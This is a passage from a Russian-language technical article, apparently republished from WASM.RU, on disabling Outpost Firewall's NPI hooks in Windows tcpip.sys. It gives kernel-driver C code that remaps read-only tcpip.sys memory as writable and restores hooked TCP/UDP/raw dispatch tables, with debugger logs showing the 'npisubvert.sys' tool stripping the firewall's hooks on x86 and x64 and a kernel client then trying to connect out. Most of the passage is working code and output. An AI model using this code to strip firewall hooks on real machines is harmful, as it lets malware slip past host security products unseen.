		(ULONG_PTR)OriginalDispatchTable + DispatchTableSize > (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size)
	{
		KdPrint(("RestoreTcpipDispatchTable(): Dispatch table %p is out of tcpip.sys' range %p..%p\n",
			OriginalDispatchTable, OriginalTcpip->Buffer, (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size));
		return STATUS_UNSUCCESSFUL;
	}

Если таблица не перехвачена, то ничего и делать не нужно:

	if (!memcmp(OriginalDispatchTable, RealDispatchTable, DispatchTableSize))
		return STATUS_SUCCESS;

В противном случае мы проецируем указанный кусок памяти по другому адресу, разрешая запись в эту память:

	PMDL		OriginalDispatchTableMdl = NULL;
	PVOID*		MappedOriginalDispatchTable = NULL;
…
	OriginalDispatchTableMdl = IoAllocateMdl(OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL);
	if (!OriginalDispatchTableMdl)
		return STATUS_INSUFFICIENT_RESOURCES;

	// Going to have write access to the read only memory of tcpip.sys' .rdata section

	__try {
		MmProbeAndLockPages(OriginalDispatchTableMdl, KernelMode, IoWriteAccess);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		IoFreeMdl(OriginalDispatchTableMdl);
		return STATUS_ACCESS_VIOLATION;
	}

	MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache(
		OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority);
	if (!MappedOriginalDispatchTable) {
		MmUnlockPages(OriginalDispatchTableMdl);
		IoFreeMdl(OriginalDispatchTableMdl);
		return STATUS_UNSUCCESSFUL;
	}

Восстановление таблицы производится вызовом одной функции:

RtlCopyMemory(MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);

Пример использования функции не заставит себя долго ждать:

static
NTSTATUS
  UnhookXxxTlProviderDispatch(
	__in PTL_DISPATCH_TABLES	Dispatches,
	__in PMEMORY_CHUNK			OriginalTcpip
  )
{
…
	Status = RestoreTcpipDispatchTable(
		OriginalTcpip,
		(PVOID*)Dispatches->TcpTlProviderDispatch,
		(PVOID*)&Dispatches->RealTcpTlProviderDispatch,
		sizeof(TL_PROVIDER_DISPATCH));
	if (!NT_SUCCESS(Status)) {
		KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(TcpTlProviderDispatch) failed with status 0x%08X\n",
			Status));
		return Status;
	}

	Status = RestoreTcpipDispatchTable(
		OriginalTcpip,
		(PVOID*)Dispatches->UdpTlProviderDispatch,
		(PVOID*)&Dispatches->RealUdpTlProviderDispatch,
		sizeof(TL_PROVIDER_DISPATCH));
	if (!NT_SUCCESS(Status)) {
		KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(UdpTlProviderDispatch) failed with status 0x%08X\n",
			Status));
		return Status;
	}

Восстановление обработчиков завершено, NPI фаерволл повержен. Удостоверимся в этом на том же Outpost firewall Pro 2009 (v6.5, x86), запустив npisubvert.sys:

kd> g
TCPIP.SYS image region:        0x8819F000..0x88270000

TcpTlProviderDispatch:         0x8824A8FC
    IoControl:                 0x88220C52 (0x88220C52 real) 
    QueryDispatch:             0x8822A004 (0x8822A004 real) 
    Endpoint:                  0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys
    Message:                   0x88229FF9 (0x88229FF9 real) 
    Listen:                    0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys
    ReleaseIndicationList:     0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys
    Cancel:                    0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys

TcpTlProviderEndpointDispatch: 0x8824A91C
    CloseEndpoint:             0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 

TcpTlProviderConnectDispatch:  0x8824A938
    CloseEndpoint:             0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x881E01ED (0x881E01ED real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 
    Send:                      0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys
    Receive:                   0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys
    Disconnect:                0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys

TcpTlProviderListenDispatch:   0x8824A928
    CloseEndpoint:             0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x881B11A6 (0x881B11A6 real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 
    ResumeConnection:          0x88220C42 (0x88220C42 real) 

UdpTlProviderDispatch:         0x8824ACE4
    IoControl:                 0x88228C0B (0x88228C0B real) 
    QueryDispatch:             0x8822A004 (0x8822A004 real) 
    Endpoint:                  0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys
    Message:                   0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys
    Listen:                    0x8822A093 (0x8822A093 real) 
    ReleaseIndicationList:     0x88228BF0 (0x88228BF0 real) 
    Cancel:                    0x8822A07D (0x8822A07D real) 

UdpTlProviderEndpointDispatch: 0x8824AD04
    CloseEndpoint:             0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 

UdpTlProviderMessageDispatch:  0x8824AD10
    CloseEndpoint:             0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 
    SendMessages:              0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys

RawTlProviderDispatch:         0x8824AE58
    IoControl:                 0x8822A09E (0x8822A09E real) 
    QueryDispatch:             0x8822A004 (0x8822A004 real) 
    Endpoint:                  0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys
    Message:                   0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys
    Listen:                    0x8822A093 (0x8822A093 real) 
    ReleaseIndicationList:     0x88228BF0 (0x88228BF0 real) 
    Cancel:                    0x8822A07D (0x8822A07D real) 

RawTlProviderEndpointDispatch: 0x8824AE78
    CloseEndpoint:             0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x881BC1D6 (0x881BC1D6 real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 

RawTlProviderMessageDispatch:  0x8824AE84
    CloseEndpoint:             0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
    IoControlEndpoint:         0x881BC1D6 (0x881BC1D6 real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 
    SendMessages:              0x88229350 (0x88229350 real)

The NPI hooks have been cleaned successfully

Удостоверимся в снятых перехватах:

kd> dd TcpTlProviderDispatch
8824a8fc  88220c52 8822a004 881db212 88229ff9
8824a90c  881c9e59 881ddf90 881dfcc4 881c979b

kd> u 88220c52 
tcpip!TcpTlProviderIoControl:
88220c52 8bff            mov     edi,edi
88220c54 55              push    ebp
88220c55 8bec            mov     ebp,esp
88220c57 8b450c          mov     eax,dword ptr [ebp+0Ch]

kd> u 881ddf90 
tcpip!TcpTlProviderConnect:
881ddf90 8bff            mov     edi,edi
881ddf92 55              push    ebp
881ddf93 8bec            mov     ebp,esp
881ddf95 5d              pop     ebp
881ddf96 e97cedffff      jmp     tcpip!TcpCreateAndConnectTcb (881dcd17)

Ждем кое-какое время и пробуем вновь (вдруг он следит за перехватами?):

TCPIP.SYS image region:        0x8819F000..0x88270000

TcpTlProviderDispatch:         0x8824A8FC
    IoControl:                 0x88220C52 (0x88220C52 real) 
    QueryDispatch:             0x8822A004 (0x8822A004 real) 
    Endpoint:                  0x881DB212 (0x881DB212 real) 
    Message:                   0x88229FF9 (0x88229FF9 real) 
    Listen:                    0x881C9E59 (0x881C9E59 real) 
    ReleaseIndicationList:     0x881DFCC4 (0x881DFCC4 real) 
    Cancel:                    0x881C979B (0x881C979B real) 

TcpTlProviderEndpointDispatch: 0x8824A91C
    CloseEndpoint:             0x881DBD38 (0x881DBD38 real) 
    IoControlEndpoint:         0x881DB5E2 (0x881DB5E2 real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 

TcpTlProviderConnectDispatch:  0x8824A938
    CloseEndpoint:             0x881E4543 (0x881E4543 real) 
    IoControlEndpoint:         0x881E01ED (0x881E01ED real) 
    QueryDispatchEndpoint:     0x88229FEE (0x88229FEE real) 
    Send:                      0x8820E188 (0x8820E188 real)

Пробуем на x64 версии (Outpost Firewall Pro 2008 v6.0). Предварительные пробы:

kd> dq TcpTlProviderConnectDispatch
fffffa60`00f83278  fffffa60`026e2a9c fffffa60`00ec60e0
fffffa60`00f83288  fffffa60`00ee23cc fffffa60`026e3d30
fffffa60`00f83298  fffffa60`026e3ac4 fffffa60`026e4710

kd> u fffffa60`026e2a9c 
*** ERROR: Module load completed but symbols could not be loaded for afw.sys
afw+0xda9c:
fffffa60`026e2a9c 48895c2408      mov     qword ptr [rsp+8],rbx
fffffa60`026e2aa1 55              push    rbp
fffffa60`026e2aa2 56              push    rsi
fffffa60`026e2aa3 57              push    rdi
fffffa60`026e2aa4 4883ec50        sub     rsp,50h
fffffa60`026e2aa8 488b0559e70200  mov     rax,qword ptr [afw+0x3c208 (fffffa60`02711208)]
fffffa60`026e2aaf 488bf1          mov     rsi,rcx
fffffa60`026e2ab2 bd010000c0      mov     ebp,0C0000001h

kd> u fffffa60`026e3d30
afw+0xed30:
fffffa60`026e3d30 48895c2408      mov     qword ptr [rsp+8],rbx
fffffa60`026e3d35 48896c2410      mov     qword ptr [rsp+10h],rbp
fffffa60`026e3d3a 4889742420      mov     qword ptr [rsp+20h],rsi
fffffa60`026e3d3f 57              push    rdi
fffffa60`026e3d40 4883ec50        sub     rsp,50h
fffffa60`026e3d44 48833dd4d4020000 cmp     qword ptr [afw+0x3c220 (fffffa60`02711220)],0
fffffa60`026e3d4c 488bfa          mov     rdi,rdx
fffffa60`026e3d4f 488bd9          mov     rbx,rcx

kd> dq RawTlProviderMessageDispatch
fffffa60`00f82e08  fffffa60`026e7d04 fffffa60`00e70000
fffffa60`00f82e18  fffffa60`00ee23cc fffffa60`00e84860

kd> u fffffa60`026e7d04 
afw+0x12d04:
fffffa60`026e7d04 48895c2408      mov     qword ptr [rsp+8],rbx
fffffa60`026e7d09 48896c2410      mov     qword ptr [rsp+10h],rbp
fffffa60`026e7d0e 56              push    rsi
fffffa60`026e7d0f 57              push    rdi
fffffa60`026e7d10 4154            push    r12
fffffa60`026e7d12 4883ec20        sub     rsp,20h
fffffa60`026e7d16 4c8bc1          mov     r8,rcx
fffffa60`026e7d19 4c8bca          mov     r9,rdx

Запускаем npisubvert.sys:

TCPIP.SYS image region:        0xFFFFFA6000E67000..0xFFFFFA6000FDB000

TcpTlProviderDispatch:         0xFFFFFA6000F83200
    IoControl:                 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) 
    QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) 
    Endpoint:                  0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
    Message:                   0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) 
    Listen:                    0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
    ReleaseIndicationList:     0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
    Cancel:                    0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys

TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
    CloseEndpoint:             0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 

TcpTlProviderConnectDispatch:  0xFFFFFA6000F83278
    CloseEndpoint:             0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    Send:                      0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
    Receive:                   0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
    Disconnect:                0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys

TcpTlProviderListenDispatch:   0xFFFFFA6000F83258
    CloseEndpoint:             0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    ResumeConnection:          0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real) 

UdpTlProviderDispatch:         0xFFFFFA6000F82F70
    IoControl:                 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real) 
    QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) 
    Endpoint:                  0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys
    Message:                   0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys
    Listen:                    0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) 
    ReleaseIndicationList:     0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) 
    Cancel:                    0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real) 

UdpTlProviderEndpointDispatch: 0xFFFFFA6000F82FB0
    CloseEndpoint:             0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 

UdpTlProviderMessageDispatch:  0xFFFFFA6000F82FC8
    CloseEndpoint:             0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    SendMessages:              0xFFFFFA60026E68C0 (0xFFFFFA6000EACE60 real) HOOKED by afw.sys

RawTlProviderDispatch:         0xFFFFFA6000F82DB0
    IoControl:                 0xFFFFFA6000EE23FC (0xFFFFFA6000EE23FC real) 
    QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) 
    Endpoint:                  0xFFFFFA60026E76FC (0xFFFFFA6000E6D190 real) HOOKED by afw.sys
    Message:                   0xFFFFFA60026E7E4C (0xFFFFFA6000E6CFE0 real) HOOKED by afw.sys
    Listen:                    0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) 
    ReleaseIndicationList:     0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) 
    Cancel:                    0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real) 

RawTlProviderEndpointDispatch: 0xFFFFFA6000F82DF0
    CloseEndpoint:             0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 

RawTlProviderMessageDispatch:  0xFFFFFA6000F82E08
    CloseEndpoint:             0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    SendMessages:              0xFFFFFA6000E84860 (0xFFFFFA6000E84860 real)

Перехватов больше быть не должно:

kd> dq RawTlProviderMessageDispatch
fffffa60`00f82e08  fffffa60`00f74170 fffffa60`00e70000
fffffa60`00f82e18  fffffa60`00ee23cc fffffa60`00e84860

kd> u fffffa60`00f74170 
tcpip!RawTlProviderCloseEndpoint:
fffffa60`00f74170 e99beaffff      jmp     tcpip!RawCloseEndpoint (fffffa60`00f72c10)

kd> dq TcpTlProviderConnectDispatch
fffffa60`00f83278  fffffa60`00ec93e0 fffffa60`00ec60e0
fffffa60`00f83288  fffffa60`00ee23cc fffffa60`00ed51a0
fffffa60`00f83298  fffffa60`00ec0270 fffffa60`00ec8f40

kd> u fffffa60`00ec93e0 
tcpip!TcpTlConnectionCloseEndpoint:
fffffa60`00ec93e0 4883ec28        sub     rsp,28h
fffffa60`00ec93e4 e867ffffff      call    tcpip!TcpCloseTcb (fffffa60`00ec9350)
fffffa60`00ec93e9 b803010000      mov     eax,103h
fffffa60`00ec93ee 4883c428        add     rsp,28h
fffffa60`00ec93f2 c3              ret

Перехватов как не бывало. Проведем еще эксперимент – запускаем wsksample.sys при активном Outpost. Сразу же показывается окно защиты с сообщением о том, что процесс System рвется в сеть. Блокируем его несколько раз, получаем следующие логи:

MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC0000001
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC0000001
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC0000001

Не удивительно – уже говорилось о том, что NPI хукинг ловит WSK клиентов. Пробуем запустить npisubvert.sys:

TCPIP.SYS image region:        0xFFFFFA6000E67000..0xFFFFFA6000FDB000

TcpTlProviderDispatch:         0xFFFFFA6000F83200
    IoControl:                 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) 
    QueryDispatch:             0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) 
    Endpoint:                  0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
    Message:                   0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) 
    Listen:                    0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
    ReleaseIndicationList:     0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
    Cancel:                    0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys

TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
    CloseEndpoint:             0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 

TcpTlProviderConnectDispatch:  0xFFFFFA6000F83278
    CloseEndpoint:             0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    Send:                      0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
    Receive:                   0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
    Disconnect:                0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys

TcpTlProviderListenDispatch:   0xFFFFFA6000F83258
    CloseEndpoint:             0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
    IoControlEndpoint:         0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) 
    QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) 
    ResumeConnection:          0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)

NPI-хуки были успешно очищены.

MakeHttpRequest(): WskConnect() failed with status 0xC0000001
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
MakeHttpRequest(): Connecting to the 74.125.45.100:80...
MakeHttpRequest(): WskConnect() failed with status 0xC00000B5

Если ошибка 0xC0000001 (STATUS_UNSUCCESSFUL) возникала при запрете подключения самим фаерволлом при активных NPI перехватах, то ошибка 0xC00000B5 (STATUS_IO_TIMEOUT) уже возникает при слишком долгом времени ожидания на подключение. tcpip.sys действительно пытается послать SYN пакет указанному хосту, но любая коммуникация застревает на NDIS уровне, где у Outpost располагается еще один уровень защиты. Окно фаерволла при этом не показывается.

Мораль такова: сняв перехваты на NPI уровне, мы не добьемся беспрепятственной работы с сетью для обычных приложений. К слову сказать, в NDIS 6, на котором и работает большинство фаерволлов для Windows Vista, стало намного легче снимать перехваты и обходить защиту. Ну а это, а это может послужить поводом для следующей статьи и очередного исследования. Have fun! 😉

Исходник к статье

[C] MaD

 

Источник WASM.RU /21.05.2009/


Поделиться в соц сетях

Подписаться
Уведомить о
0 комментариев
Старые
Новые
Межтекстовые Отзывы
Посмотреть все комментарии

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+